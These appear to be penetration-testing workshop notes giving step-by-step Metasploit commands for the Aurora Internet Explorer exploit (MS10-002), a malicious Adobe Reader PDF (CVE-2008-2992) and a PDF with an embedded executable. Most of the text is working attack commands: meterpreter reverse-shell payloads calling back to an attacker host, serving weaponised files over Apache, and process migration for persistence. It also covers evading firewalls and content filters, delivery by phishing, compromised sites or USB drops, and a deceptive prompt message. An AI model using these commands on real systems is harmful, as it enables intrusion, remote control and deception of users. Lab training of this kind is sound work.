Workshop Notes: Browser Exploitation using Aurora Vulnerability

# Objective

To understand and demonstrate how a client-side browser exploit can be used to gain control over a vulnerable system using Metasploit and the MS10-002 Aurora vulnerability in Internet Explorer.

# Prerequisites

- Kali Linux with Metasploit Framework installed

- Windows XP with Internet Explorer 6 or 7 (unpatched)

- Both machines on the same subnet and able to communicate (check with ping)

# Step-by-Step Instructions

1. 1. Start Metasploit:

msfconsole

1. 2. Load the Aurora exploit module:

use exploit/windows/browser/ms10\_002\_aurora

1. 3. Set required options:

set SRVHOST <Your Kali IP>  
set SRVPORT 8080  
set URIPATH /  
set PAYLOAD windows/meterpreter/reverse\_tcp  
set LHOST <Your Kali IP>

* Optionally, set AutoRunScript or PrependMigrate:

set AutoRunScript migrate -f

OR

set PrependMigrate true

1. 4. Launch the exploit:

exploit

# Victim Action (on Windows XP)

1. Open Internet Explorer.

2. Visit the URL: http://<Kali-IP>:8080/

3. Observe a Meterpreter session opening in Kali.

# Important Commands During Exploitation

jobs

kill <job\_id>

sessions

sessions -i <session\_id>

run migrate

# Post-Exploitation Suggestions

After gaining the session, try running the following in Meterpreter:

sysinfo  
getuid  
ps  
migrate <PID>

# Expected Outcome

- Understanding of client-side browser exploits

- Ability to use Metasploit for such attacks

- Learn to maintain session persistence with process migration

Browser Exploitation using Aurora Vulnerability:detailed notes

### ****1. Payload Communication in Filtered Networks****

In real-world penetration tests, outbound traffic from the target system may be restricted by firewalls or proxies. Some networks allow traffic only through standard service ports:

* **Commonly allowed ports:**
  + 80 – HTTP
  + 443 – HTTPS
  + Others may be blocked (e.g., 4444, used by default in Metasploit reverse\_tcp payloads).

#### ****Evasion Techniques:****

* **Change LPORT to an Allowed Port**  
  Example:

bash

CopyEdit

set LPORT 80

* **Use All Ports Payload**  
  The reverse\_tcp\_allports payload attempts to connect back to the attack machine on all ports until one succeeds:

bash

CopyEdit

set payload windows/shell/reverse\_tcp\_allports

### ****2. HTTP and HTTPS Payloads for Bypassing Content Filters****

Some advanced filtering systems **inspect content** to detect non-compliant traffic, even if it’s on an allowed port.

* **Problem:** reverse\_tcp traffic may be blocked if it doesn't match expected protocol behavior.

#### ****Solution: Use Protocol-Compliant Payloads****

* **HTTP/HTTPS Reverse Payloads:**
  + Follow the HTTP(S) protocol specification.
  + Appear as legitimate web traffic.
  + More likely to bypass content inspection systems.

#### ****Advantages:****

* **Encrypted communication** (especially HTTPS).
* **Packet-based**, not stream-based:
  + Resilient to short network outages.
  + Sessions can **reconnect** automatically.

### ****3. Client-Side Exploitation****

Unlike server-side vulnerabilities, client-side attacks target **applications not listening** on the network:

* Examples:
  + **Web browsers**
  + **PDF/document viewers**
  + **Media players**

#### ****Key Characteristics:****

* These applications are still vulnerable to crafted input.
* We must **entice users** to open **malicious files** or visit **exploit-laden websites**.

#### ****Why Important?****

* Ideal for attacking internal systems with no open ports.
* Even behind NAT or firewalls, **users initiate outbound connections**, which we can hijack.

#### ****Example Techniques:****

* Malicious PDFs, Office docs, or web pages exploiting known vulnerabilities.
* Deliver via:
  + Phishing emails
  + Compromised websites
  + USB drops

## 🔍 ****Browser Attack – Aurora Exploit (MS10-002) via Metasploit****

### 📌 ****Background****

* **Aurora Exploit**: Zero-day vulnerability in **Internet Explorer** used in **2010** against **Google, Adobe, Yahoo**, etc.
* Even fully patched browsers at that time were vulnerable if users visited a **malicious webpage**.
* Metasploit module:  
  exploit/windows/browser/ms10\_002\_aurora

### ⚙️ ****Basic Module Setup in Metasploit****

bash

CopyEdit

msf > use exploit/windows/browser/ms10\_002\_aurora

* SRVHOST: Local IP of attacker’s machine  
  e.g., set SRVHOST 192.168.20.9
* SRVPORT: Port for web server (default = 8080)  
  Change to 80 if unused
* URIPATH: Optional custom path for malicious URL  
  (leave empty for random)
* PAYLOAD: Example – windows/meterpreter/reverse\_tcp

bash

CopyEdit

msf exploit(ms10\_002\_aurora) > set SRVHOST 192.168.20.9

Once run:

* A **malicious web server** is started
* A **handler** for the reverse shell is launched

### 🧪 ****Execution****

* Victim (Windows XP with IE) browses the malicious URL.
* **If vulnerable**, the **Meterpreter session** opens.
* To interact:

bash

CopyEdit

sessions -i <session\_id>

### ❌ ****Session Loss****

* **Problem**: Closing the browser = Meterpreter session ends
* Need to **persist the session** even if IE crashes

### 🔁 ****Handling Session Persistence****

1. **List background jobs**:

bash

CopyEdit

jobs

1. **Stop running exploit job**:

bash

CopyEdit

kill <job\_number>

### 🔄 ****Migrate Session to Stable Process****

* Use migrate.rb Meterpreter script to shift from iexplore.exe to another process

bash

CopyEdit

meterpreter > run migrate

Options:

* -f: Create new process and migrate into it (e.g., notepad.exe)
* -n <name>: Migrate into process by name
* -p <PID>: Migrate into specific process ID

### ⚙️ ****Automate Migration with AutoRunScript****

* View advanced options:

bash

CopyEdit

show advanced

* Set AutoRunScript to execute migrate script:

bash

CopyEdit

set AutoRunScript migrate -f

* This **automatically migrates** Meterpreter session once opened

### ✅ ****Improved Stability with PrependMigrate****

* Alternative to AutoRunScript:

bash

CopyEdit

set PrependMigrate true

* Initiates migration before payload execution, increasing stability

### 📌 ****Conclusion****

* Aurora exploit shows **client-side vulnerabilities** are dangerous.
* With proper **persistence mechanisms**, attackers can maintain access.
* Automation (AutoRunScript, PrependMigrate) ensures session reliability in real-world attacks.

PDF Exploits – Metasploit Workshop Note

### 🔍 Objective:

To exploit a vulnerable version of Adobe Reader using a crafted PDF file and gain a reverse shell session via Metasploit.

### 1️⃣ Background:

* **Target**: Windows XP SP3 with **Adobe Reader 8.1.2**
* **Vulnerability**: CVE-2008-2992
* **Exploit Module**: exploit/windows/fileformat/adobe\_utilprintf
* **Attack Type**: Client-side (no direct network target)

### 2️⃣ Steps to Exploit:

#### 🛠 Step 1: Launch Metasploit

bash

CopyEdit

msfconsole

#### 🧰 Step 2: Use the Exploit Module

bash

CopyEdit

use exploit/windows/fileformat/adobe\_utilprintf

#### 📝 Step 3: Set the Filename (optional)

bash

CopyEdit

set FILENAME malicious.pdf # Default: msf.pdf

#### 💣 Step 4: Set the Payload (optional)

bash

CopyEdit

set PAYLOAD windows/meterpreter/reverse\_tcp

#### 🌐 Step 5: Set LHOST

bash

CopyEdit

set LHOST <your\_attacker\_IP>

#### 🚀 Step 6: Generate the Malicious PDF

bash

CopyEdit

exploit

* Output file is saved in: /root/.msf4/local/msf.pdf

### 3️⃣ Serve the PDF File

#### 💾 Step 7: Copy the file to Apache web server directory

bash

CopyEdit

cp /root/.msf4/local/msf.pdf /var/www/html/

#### 🔥 Step 8: Start Apache Server

bash

CopyEdit

service apache2 start

* File is now accessible at: http://<attacker\_IP>/msf.pdf

### 4️⃣ Set Up the Payload Handler

#### 🔁 Step 9: Use multi/handler

bash

CopyEdit

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST <your\_attacker\_IP>

set LPORT 4444

exploit

* Make sure **no other handler** is using port 4444.

### 5️⃣ Exploit Execution

* Open msf.pdf using **Adobe Reader 8.1.2** on the Windows XP machine.
* If successful, a **Meterpreter session** is created.

bash

CopyEdit

sessions -i <id>

### 📝 Notes:

* This is a **client-side attack**: no direct connection to the victim system is made until the malicious file is opened.
* Common social engineering techniques (like email attachments) can be used to deliver the malicious file in a real scenario.
* Always ensure ethical and authorized usage during testing.

## 📄 PDF Embedded Executable – Metasploit Workshop Note

### 🎯 Objective:

To embed a malicious executable inside a PDF file that prompts the user to run it. This is a **social engineering attack**, not a software vulnerability exploit.

### 1️⃣ Background:

* **Module**: exploit/windows/fileformat/adobe\_pdf\_embedded\_exe
* **Type**: Client-side **user-dependent** attack (requires user to **allow execution**)
* **Mechanism**: Embeds an .exe payload in a user-supplied PDF file

### 2️⃣ Steps to Embed the Executable in a PDF

#### 🛠 Step 1: Launch Metasploit

bash

CopyEdit

msfconsole

#### 🧰 Step 2: Use the Exploit Module

bash

CopyEdit

use exploit/windows/fileformat/adobe\_pdf\_embedded\_exe

#### 📥 Step 3: Set the Input PDF File

bash

CopyEdit

set INFILENAME /usr/share/set/readme/User\_Manual.pdf

* This PDF is available in Kali Linux as a default file.

#### 💣 Step 4: Set the Payload

bash

CopyEdit

set PAYLOAD windows/meterpreter/reverse\_tcp

#### 🌐 Step 5: Set LHOST

bash

CopyEdit

set LHOST <your\_attacker\_IP>

#### 🖊 Step 6: Set Launch Message (optional but recommended)

bash

CopyEdit

set LAUNCH\_MESSAGE "This document needs Adobe permissions to continue."

#### 📝 Step 7: Set Filename (optional)

bash

CopyEdit

set FILENAME embedded.pdf

#### 🚀 Step 8: Generate the PDF

bash

CopyEdit

exploit

* File will be saved in /root/.msf4/local/embedded.pdf

### 3️⃣ Serve the PDF and Set Handler

#### 📤 Step 9: Move the PDF to Web Server Directory

bash

CopyEdit

cp /root/.msf4/local/embedded.pdf /var/www/html/

#### 🔥 Step 10: Start Apache Server (if not running)

bash

CopyEdit

service apache2 start

#### 🔁 Step 11: Set up Payload Handler

bash

CopyEdit

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST <your\_attacker\_IP>

set LPORT 4444

exploit

### 4️⃣ Attack Execution

* Have the victim open embedded.pdf on a vulnerable system.
* The PDF will **prompt the user** to allow the embedded executable to run.
* If the user accepts, you get a Meterpreter session.

bash

CopyEdit

sessions -i <id>

### 📝 Notes:

* This technique **requires user interaction** (permission to run).
* It is more useful in social engineering campaigns.